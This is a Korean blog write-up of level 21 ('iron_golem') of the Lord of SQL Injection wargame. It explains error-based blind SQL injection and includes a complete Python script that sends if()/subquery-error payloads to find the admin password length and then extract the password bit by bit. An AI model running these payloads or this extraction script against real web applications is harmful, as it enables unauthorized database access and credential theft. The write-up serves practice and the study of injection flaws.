본문 바로가기
3. 웹 애플리케이션 취약점 진단/Lord of Sql Injection

lord of sql injection 21번 - iron_golem

by Robert8478 2023. 12. 22.

이번 문제는 hello guest 처럼 나오는 특수한 에러 메시지가 출력되지 않는다.

위처럼 기존에 하던 방법으로는 메시지가 나오질 않기때문에 비밀번호를 알 수 있는 방법이 없다.
대신 mysqli_error 코드를 보니 오류가 나면 에러 메시지를 출력해주는 것 같다.
이를 이용해서 Error Based SQLI 를 써주어야 한다.

에러를 강제로 일으키기 위해 if 함수를 사용해주었다.
if(쿼리,1,2) if 문에서 쿼리가 참이면 1, 거짓이면 2가 실행되는 것은 알것이다.
이를 이용해 length(pw) 길이를 쿼리로 넣고 참이면 1, 거짓이면 select 1 union select 2가 실행되도록 해주었다.
select 1 union select 2는 한 row에서 두개를 셀렉트 한다는 것인데 이로 인해 오류가 발생하는 것이다.

1.py
import requests
 
requests.packages.urllib3.disable_warnings()
sess= requests.session()
headers= {'Cookie':'PHPSESSID=acr1o4g6mhtm3fsievmuid71do'}
 
# get length of column  ==========================
 
passwordLen= 0
 
for i in range(1,100):
    payload= "' or id='admin' and if(length(pw)={},1,(select 1 union select 2))%23".format(i)
    res = sess.get(url=URL+payload, headers=headers, verify=False)
 
    if 'Subquery' in res.text:
        pass
    else:
        passwordLen= i
        break
 
print('[=] Find Password Length : %d' % passwordLen)
 
 
bitLen  = 16
Password= ''
 
for j in range(1, passwordLen+1):
 
    bit= ''
 
    for i in range(1, bitLen+1):
        payload= "' or id='admin' and if(substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1,1,(select 1 union select 2))%23".format(j, bitLen, i)
        res    = sess.get(url=URL+payload, headers=headers, verify=False)
 
        if 'Subquery' in res.text:
            # Error Occured!! It is not 1
            bit+= '0'
        else:
            # false!!
            bit+= '1'
 
    Password+= chr(int(bit,2))
   
    print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j,chr(int(bit,2)), bit,hex(int(bit,2))[2:]))
 
 
print('[=] Find Password : %s' % Password)

이를 통해 찾아보니 pw 값을 32로 바꾸었더니 에러메시지가 출력되지 않았다.
그럼 이제 패스워드를 찾아야하는데 길이가 길기때문에 파일로 첨부한 코드를 이용하여 패스워드를 찾아내었다. 

'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

이 많은 글자들을 전부 사용해야 하는데 이렇게 하면 오래걸리기 때문에 비트 비교를 이용한 코드를 사용하였다.
아스키코드가 8비트라고 했을때 32자를 비교하면 32*8번의 작업만 수행하면 되기때문에 훨씬 빠르게 작업이 가능하다.

' or id='admin' and if(substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1,1,(select 1 union select 2))%23

코드는 8비트까지의 작업을 수행하였으나 혹시 모를걸 대비해 16비트 까지 해도 좋다.
bin 함수로 2진 형태로 변경해주었고 lpad 함수로 비트수가 8비트보다 안되었을때 앞자리를 0으로 채워주어 이진형태를 갖추게 한 것이다.

headers= {'Cookie':'PHPSESSID=u8lg54n9mc59utvrhpi6krvvq6'}

이 부분에 있는 세션값은 변경해주어야 하는데 크롬에서는 f12-Application 탭의 쿠키 메뉴에서 확인할 수 있다.

그렇게 찾은 pw값으로 클리어